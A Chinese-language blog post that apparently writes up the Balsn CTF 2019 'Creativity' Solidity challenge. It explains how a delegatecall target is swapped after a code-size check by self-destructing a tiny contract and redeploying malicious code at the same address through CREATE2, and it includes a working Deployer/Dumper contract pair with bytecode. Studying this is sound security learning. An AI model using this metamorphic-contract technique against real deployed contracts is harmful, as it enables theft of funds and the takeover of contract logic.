Balsn CTF 2019 - Creativity

周末Retr_0师傅复现了2019Balsn CTF的Creativity,我也跟着学习了一波。出题人x9453的wp在这

Source

首先查看题目给出的源码:

pragma solidity ^0.5.10;

contract Creativity {
    event SendFlag(address addr);

    address public target;
    uint randomNumber = 0;

    function check(address _addr) public {
        uint size;
        assembly { size := extcodesize(_addr) }
        require(size > 0 && size <= 4);
        target = _addr;
    }

    function execute() public {
        require(target != address(0));
        target.delegatecall(abi.encodeWithSignature(""));
        selfdestruct(address(0));
    }

    function sendFlag() public payable {
        require(msg.value >= 100000000 ether);
        emit SendFlag(msg.sender);
    }
}

分析

目标是emit SendFlag(msg.sender),攻击点是delegatecall,可以在当前合约的上下文调用外部恶意的函数。

但是,check规定外部合约代码不能超过4字节……

这我还能怎么玩呢?

CREATE2 Trick

有点TOC2TOU的意思,(time of check to time of use),先check通过然后再使用,但是check之后和使用之前数据本身发生了变化导致意想不到的后果。

CREATE2创建的合约地址是可以通过计算事先知道的,利用这一点先部署一个4个字节以内的合约通过check,然后在use之前该地址上的合约内容,在delegatecall的时候调用实际的恶意代码。

但是,要注意的一点是create2在同一地址上先后布置不同合约的时候需要先让上一个合约自毁,不然在一个已经有code的地址上再次create2会失败,return0。

这里作者又是很巧秒的布置了一个0x33ff两个字节的合约,就是把msg.sender推上栈然后selfdestruct。

示例create2合约地址

https://ropsten.etherscan.io/address/0xb3ecef15f61572129089a9704b33d53f56991df8#code

简化版本

// SPDX-License-Identifier: MIT

pragma solidity ^0.8.0;

contract Deployer {
    bytes public deployBytecode;
    address deployedAddr;

    function deploy(bytes memory code) public {
        deployBytecode = code;
        address a;
        // Compile Dumper to get this bytecode
        bytes memory dumperBytecode = hex'608060405234801561001057600080fd5b50600033905060008173ffffffffffffffffffffffffffffffffffffffff166331d191666040518163ffffffff1660e01b815260040160006040518083038186803b15801561005e57600080fd5b505afa158015610072573d6000803e3d6000fd5b505050506040513d6000823e3d601f19601f8201168201806040525081019061009b919061010d565b9050805160208201f35b60006100b86100b384610173565b61014e565b9050828152602081018484840111156100d057600080fd5b6100db8482856101a4565b509392505050565b600082601f8301126100f457600080fd5b81516101048482602086016100a5565b91505092915050565b60006020828403121561011f57600080fd5b600082015167ffffffffffffffff81111561013957600080fd5b610145848285016100e3565b91505092915050565b6000610158610169565b905061016482826101d7565b919050565b6000604051905090565b600067ffffffffffffffff82111561018e5761018d610208565b5b61019782610237565b9050602081019050919050565b60005b838110156101c25780820151818401526020810190506101a7565b838111156101d1576000848401525b50505050565b6101e082610237565b810181811067ffffffffffffffff821117156101ff576101fe610208565b5b80604052505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000601f19601f830116905091905056fe';
        assembly {
            a := create2(callvalue(), add(0x20, dumperBytecode), mload(dumperBytecode), 0x9453)
        }
        deployedAddr = a;
    }
}

contract Dumper {
    constructor() {
        Deployer dp = Deployer(msg.sender);
        bytes memory bytecode = dp.deployBytecode();
        assembly {
            return (add(bytecode, 0x20), mload(bytecode))
        }
    }
}

dumper编译出的字节码就是传递给create2命令要部署的新合约的字节吗,在dumper合约的构造函数里会去一个外部地址上取回实际要部署的字节码,然后return,这样create2真正部署的字节码就是dumper从外界取回来的、可控的、恶意的代码。而dumper本身是不变的,所以create2算哈希的时候也不变,能够部署到同一个地址。

side note

还学会了public的成员变量是会自动生成getter的。

感想

这么骚的操作手法我直接看傻了,感觉真的实在是太巧妙了,不在我这种凡人能够想的到的范畴之内。

这么经典好玩涨姿势的题一定要专门写一篇博客记录一下。

同时也深深感觉到自己才疏学浅,现在都已经是2021年了我才好好看了这道题,2019年大家就已经知道这种手法了,我目前的知识水平真的还是刚刚起步的阶段。

x9453wp的时候深感顶尖选手积累的深厚,很多资讯材料我都是第一次在他的wp里看到,比如说ethereum-magicians的论坛Constantinople硬分叉EIP-1014等。

我也顺便查了一下最近的Berlin硬分叉其实非常近了,主链预计在4月14号硬分叉,而几个测试链已经分叉完了。不知道又引入了哪些新的特性,需要好好持续追踪一下。